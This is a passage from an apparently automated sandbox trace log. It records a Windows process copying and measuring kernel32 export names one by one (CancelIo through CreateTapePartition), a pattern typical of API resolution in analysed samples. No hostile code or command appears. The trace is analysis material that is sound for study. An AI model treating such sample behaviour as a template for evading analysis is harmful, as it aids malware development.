lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0131.902] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0131.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0131.902] lstrlenA (lpString="CANCELIO") returned 8 [0131.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0131.902] lstrlenA (lpString="CANCELIOEX") returned 10 [0131.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0131.902] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0131.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0131.902] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0131.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0131.902] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0131.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0131.902] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0131.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0131.902] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0131.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0131.902] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0131.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0131.902] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0131.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0131.902] lstrlenA (lpString="CHECKELEVATION") returned 14 [0131.902] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0131.902] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0131.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0131.903] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0131.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0131.903] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0131.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0131.903] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0131.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0131.903] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0131.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0131.903] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0131.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0131.903] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0131.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0131.903] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0131.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0131.903] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0131.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0131.903] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0131.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0131.903] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0131.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0131.903] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0131.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0131.903] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0131.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0131.903] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0131.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0131.903] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0131.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0131.903] lstrlenA (lpString="CLOSESTATE") returned 10 [0131.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0131.903] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0131.903] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0131.903] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0131.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0131.904] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0131.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0131.904] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0131.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0131.904] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0131.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0131.904] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0131.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0131.904] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0131.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0131.904] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0131.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0131.904] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0131.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0131.904] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0131.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0131.904] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0131.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0131.904] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0131.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0131.904] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0131.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0131.904] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0131.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0131.904] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0131.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0131.904] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0131.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0131.904] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0131.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0131.904] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0131.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0131.904] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0131.904] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0131.905] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0131.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0131.905] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0131.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0131.905] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0131.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0131.905] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0131.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0131.905] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0131.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0131.905] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0131.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0131.905] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0131.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0131.905] lstrlenA (lpString="COPYCONTEXT") returned 11 [0131.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0131.905] lstrlenA (lpString="COPYFILE2") returned 9 [0131.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0131.905] lstrlenA (lpString="COPYFILEA") returned 9 [0131.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0131.905] lstrlenA (lpString="COPYFILEEXA") returned 11 [0131.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0131.905] lstrlenA (lpString="COPYFILEEXW") returned 11 [0131.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0131.905] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0131.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0131.905] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0131.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0131.905] lstrlenA (lpString="COPYFILEW") returned 9 [0131.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0131.905] lstrlenA (lpString="COPYLZFILE") returned 10 [0131.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0131.905] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0131.905] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0131.906] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0131.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0131.906] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0131.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0131.906] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0131.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0131.906] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0131.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0131.906] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0131.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0131.906] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0131.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0131.906] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0131.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0131.906] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0131.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0131.906] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0131.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0131.906] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0131.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0131.906] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0131.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0131.906] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0131.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0131.906] lstrlenA (lpString="CREATEEVENTA") returned 12 [0131.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0131.906] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0131.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0131.906] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0131.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0131.906] lstrlenA (lpString="CREATEEVENTW") returned 12 [0131.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0131.906] lstrlenA (lpString="CREATEFIBER") returned 11 [0131.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0131.906] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0131.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0131.907] lstrlenA (lpString="CREATEFILE2") returned 11 [0131.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0131.907] lstrlenA (lpString="CREATEFILEA") returned 11 [0131.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0131.907] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0131.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0131.907] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0131.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0131.907] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0131.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0131.907] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0131.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0131.907] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0131.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0131.907] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0131.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0131.907] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0131.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0131.907] lstrlenA (lpString="CREATEFILEW") returned 11 [0131.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0131.907] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0131.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0131.907] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0131.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0131.907] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0131.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0131.907] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0131.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0131.907] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0131.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0131.907] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0131.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0131.907] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0131.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0131.908] lstrlenA (lpString="CREATEJOBSET") returned 12 [0131.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0131.908] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0131.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0131.908] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0131.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0131.908] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0131.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0131.908] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0131.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0131.908] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0131.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0131.908] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0131.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0131.908] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0131.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0131.908] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0131.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0131.908] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0131.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0131.908] lstrlenA (lpString="CREATEPIPE") returned 10 [0131.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0131.908] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0131.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0131.908] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0131.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0131.908] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0131.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0131.908] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0131.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0131.908] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0131.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0131.908] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0131.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0131.909] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0131.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0131.909] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0131.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0131.909] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0131.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0131.909] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0131.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0131.909] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0131.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0131.909] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0131.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0131.909] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0131.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0131.909] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0131.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0131.909] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0131.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0131.909] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0131.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0131.909] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0131.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0131.909] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0131.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0131.909] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0131.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0131.909] lstrlenA (lpString="CREATETAPEPARTITION") 